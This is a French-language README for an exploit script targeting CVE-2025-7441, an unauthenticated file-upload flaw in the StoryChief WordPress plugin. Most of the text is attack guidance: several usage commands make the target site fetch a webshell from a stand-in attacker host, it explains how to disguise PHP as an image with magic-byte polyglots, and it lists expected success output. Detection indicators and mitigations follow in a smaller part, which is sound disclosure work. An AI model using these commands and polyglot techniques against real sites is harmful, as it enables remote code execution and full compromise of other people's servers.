CVE-2025-7441
StoryChief <= 1.0.42 - Téléversement de fichier arbitraire non authentifié
🚨 StoryChief <= 1.0.42 — Téléversement de fichier arbitraire non authentifié (CVE-2025-7441)
ℹ️ Résumé
StoryChief (plugin WordPress), versions jusqu'à la 1.0.42 comprise, expose une vulnérabilité critique de téléversement de fichier arbitraire non authentifié via le point de terminaison REST /wp-json/storychief/webhook. Un attaquant peut amener le plugin à récupérer et à enregistrer une ressource distante contrôlée par l'attaquant (par exemple, un webshell) dans le répertoire de téléversement du site, permettant une exécution de code à distance dans de nombreux déploiements WordPress par défaut.
- CVE: CVE-2025-7441
- CVSS: 9.8 (Critique)
💥 Impact
- Téléversement distant non authentifié de fichier vers wp-content/uploads/YYYY/MM/.
- Potentiel d'exécution de code à distance lorsque le fichier téléversé est exécutable (par exemple, PHP).
- Une compromission complète du site est possible lorsque WordPress est configuré pour exécuter le PHP téléversé sous la racine du document.
🧩 Cause racine de la vulnérabilité
Le plugin accepte un payload JSON entrant (événement de publication) qui contient un champ featured_image -> data -> sizes -> full pointant vers une URL arbitraire. StoryChief n'effectue pas de validation suffisante du type de fichier/contenu et ne restreint pas la source de l'URL, ce qui permet au plugin de récupérer la ressource distante et de l'enregistrer dans le répertoire de téléversement du site. La validation est insuffisante pour empêcher le stockage de fichiers contenant du code exécutable.
🛠️ Script d'exploitation — ce qu'il fait (correspondance avec la vulnérabilité)
Cette section explique le script d'exploitation (fourni séparément) à haut niveau et fait correspondre chaque comportement important à la vulnérabilité sous-jacente.
- Analyse des arguments CLI — URL cible (-u/--url), URL du shell distant (-shell), clé HMAC optionnelle, en-têtes, options de proxy/délai d'attente/nouvelle tentative, options de débogage et d'aperçu seul (print-only).
- Normalisation de la cible — ajoute /wp-json/storychief/webhook lorsqu'une racine de site est fournie.
- Validation de l'URL du shell — vérifie que l'URL distante est accessible (HEAD/GET ou curl).
- Extraction du nom de fichier — utilise le nom de base de l'URL distante pour déduire le nom de fichier final du répertoire de téléversement.
- Construction du payload — place l'URL contrôlée par l'attaquant dans data.featured_image.data.sizes.full pour forcer le plugin à récupérer et à stocker le fichier.
- Signature HMAC (optionnelle) — calcule meta.mac (HMAC-SHA256) à l'aide d'une clé hexadécimale optionnelle ; certains serveurs peuvent l'ignorer ou l'exiger.
- Livraison — utilise requests avec nouvelles tentatives/backoff ou un repli sur curl, prend en charge les en-têtes personnalisés, les proxys et --no-verify.
- Gestion des réponses — analyse les réponses JSON pour rechercher les clés permalink/id afin de détecter le succès ; signale sinon un échec.
- Sortie — affiche le chemin de téléversement attendu : wp-content/uploads/YYYY/MM/ en cas de succès.
🖼️ Exigences du fichier shell (critique)
Lors de l'utilisation d'un fichier distant .php (par exemple : https://attacker.example/shell.php), le fichier doit inclure un en-tête d'image valide (magic bytes) afin d'être traité/accepté comme une image par le plugin ou le code de traitement d'images. Points clés :
- Utilisez une approche polyglotte : le fichier doit commencer par des magic bytes d'image valides (par exemple, JPEG, PNG ou GIF) afin que les vérifications naïves et les gestionnaires d'images l'acceptent, tout en contenant le payload PHP dans une section qui reste sur le disque telle quelle.
- Magic bytes d'image courants :
- JPEG: 0xFF 0xD8 0xFF
- PNG: 0x89 0x50 0x4E 0x47
- GIF: ASCII "GIF89a" ou "GIF87a"
- Ne vous fiez pas uniquement au nom/à l'extension du fichier. De nombreux plugins inspectent le contenu des fichiers ou utilisent des bibliothèques (GD, ImageMagick) qui vérifient l'intégrité des images.
- Dépend de l'environnement : certains serveurs valident ou ré-encodent davantage les images, ce qui peut supprimer le code injecté. Testez d'abord dans un laboratoire autorisé.
- Rappel éthique : ne publiez PAS de code de webshell fonctionnel ici. Créez et testez ces fichiers uniquement dans des environnements autorisés.
Remplacez les espaces réservés par des cibles autorisées. Tous les exemples ci-dessous utilisent une URL de shell distant .php.
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
- Avec chemin de webhook explicite et débogage :
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
- Utiliser curl au lieu de requests :
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
- Afficher uniquement le payload (sans l'envoyer) :
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only
Options importantes :
- --no-verify : ignore la vérification TLS (à utiliser avec précaution).
- --proxy : achemine les requêtes via un proxy.
- --header "Key: Value" : ajoute des en-têtes personnalisés.
📤 Sorties attendues
- Exécution réussie :
- Téléversé : wp-content/uploads/2025/10/shell.php
- Exemples de débogage :
- [DEBUG] shell HEAD status: 200
- [DEBUG] post status: 200
- [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
- Messages d'échec :
- "[-] Erreur : l'URL du shell n'est pas accessible (HTTP 200 non reçu)"
- "[-] Erreur : la requête a échoué"
- "[-] Erreur : le téléversement a échoué ou le point de terminaison a renvoyé une réponse non-JSON/HTML"
🔎 Détection et indicateurs de compromission (IoC)
- Requêtes POST inattendues vers /wp-json/storychief/webhook depuis des IP inconnues.
- Nouveaux fichiers dans wp-content/uploads/// avec des extensions PHP ou des extensions d'image contenant du code incorporé.
- Journaux du serveur web montrant des GET sortants vers des domaines contrôlés par l'attaquant, suivis d'un accès aux fichiers téléversés.
- Fichiers image suspects avec contenu non-image ajouté ou incorporé.
À court terme :
- Mettez à niveau StoryChief vers une version corrigée dès qu'elle est disponible.
- Bloquez ou restreignez /wp-json/storychief/webhook via un WAF ou des règles serveur.
- Restreignez les récupérations sortantes du serveur ou le trafic sortant (egress) vers des domaines non fiables.
Recommandations pour les développeurs :
- Validez les types et contenus de fichiers après toute récupération distante ; vérifiez les images à l'aide d'analyseurs sûrs et rejetez les fichiers invalides.
- Exigez une authentification pour les webhooks qui déclenchent des téléchargements côté serveur ou la création de fichiers.
- Assurez-vous que la vérification HMAC/signature est implémentée et appliquée.
- Stockez le contenu téléversé en dehors de la racine web ou désactivez l'exécution des fichiers téléversés dans wp-content/uploads (règles du serveur web).
⚠️ Limites et mises en garde
- Le succès de l'exploitation dépend de la configuration du serveur, des bibliothèques de traitement d'images et des politiques d'exécution du serveur web.
- Les serveurs qui retraitent ou ré-encodent les images peuvent supprimer les payloads injectés.
- Si le plugin vérifie les signatures, la fourniture d'un mac incorrect peut entraîner le rejet.
🤝 Utilisation responsable
Ce document est destiné aux défenseurs et aux testeurs autorisés. N'utilisez PAS ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. L'exploitation non autorisée est illégale et contraire à l'éthique.
Si vous signalez le problème à un éditeur ou au propriétaire d'un site, incluez les détails de reproduction, les étapes de remédiation sûres et des correctifs suggérés.
📚 Références et crédits
- Rapport et script d'exploitation par : Nxploited (Khaled Alenazi) — nom du script : CVE-2025-7441.py (fourni séparément)
- CVE: CVE-2025-7441
- CVSS: 9.8